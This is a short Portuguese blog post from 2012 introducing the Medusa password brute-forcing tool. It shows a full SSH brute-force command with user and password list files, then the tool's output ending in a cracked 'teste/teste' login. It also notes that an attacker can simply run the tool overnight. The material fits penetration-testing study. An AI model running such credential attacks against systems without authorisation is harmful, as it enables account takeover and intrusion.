terça-feira, 11 de dezembro de 2012

Descobrindo senhas com Medusa

Medusa é uma aplicação usada para ataques de força bruta. Esse tipo de ataque consiste em tentar vários login/senha contra um alvo até que a senha seja descoberta.

Esse tipo de ataque é útil quando os usuários utilizam senhas fáceis, como sequencias numéricas, datas, palavras do dicionário, etc. Mesmo com um link de internet ruim, é possível testar centenas de logins por segundo. Ou seja, basta que o invasor rode o programa antes de dormir que pela manhã um par de usuário/login terá sido descoberto pela manhã.

A maioria das grandes empresas usam técnicas para evitar esse tipo de ataque, como bloqueio de usuários com falhas de login sucessivas, ferramentas de detecção de intrução, checagem de log, etc. Mas sempre tem aqueles que não se preocupam com isso.

Abaixo, um exemplo do uso, onde fiz um ataque via ssh, usando um arquivo contendo os usuários e um outro com senhas. A saída está resumida.

$ medusa -h servidor -U tmp/user.txt -P tmp/password.txt -M ssh -f 
Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks


The default build of Libssh2 is to use OpenSSL for crypto. Several Linux
distributions (e.g. Debian, Ubuntu) build it to use Libgcrypt. Unfortunately,
the implementation within Libssh2 of libgcrypt appears to be broken and is
not thread safe. If you run multiple concurrent Medusa SSH connections, you
are likely to experience segmentation faults. Please help Libssh2 fix this
issue or encourage your distro to use the default Libssh2 build options.

ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: M[E4]rchen (1 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: Aschenputtel (2 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: Br[FC]derchen (3 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: root (1 of 3, 0 complete) Password: D[E4]umling (4 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: teste (3 of 3, 2 complete) Password: Simeliberg (22 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: teste (3 of 3, 2 complete) Password: Sterntaler (23 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: teste (3 of 3, 2 complete) Password: Tischlein (24 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: teste (3 of 3, 2 complete) Password: Vom (25 of 60 complete)
ACCOUNT CHECK: [ssh] Host: servidor (1 of 1, 0 complete) User: teste (3 of 3, 2 complete) Password: teste (26 of 60 complete)
ACCOUNT FOUND: [ssh] Host: servidor User: teste Password: teste [SUCCESS]

Neste caso, no servidor existe um usuário "teste" com a senha "teste".

O Medusa tem módulos para vários aplicações, como ftp, pop3, Mysql, Web, etc. Com um man medusa você obtém uma lista dos parâmetros que podem ser passados ao medusa.

Para instalá-lo, use o famoso apt-get install medusa.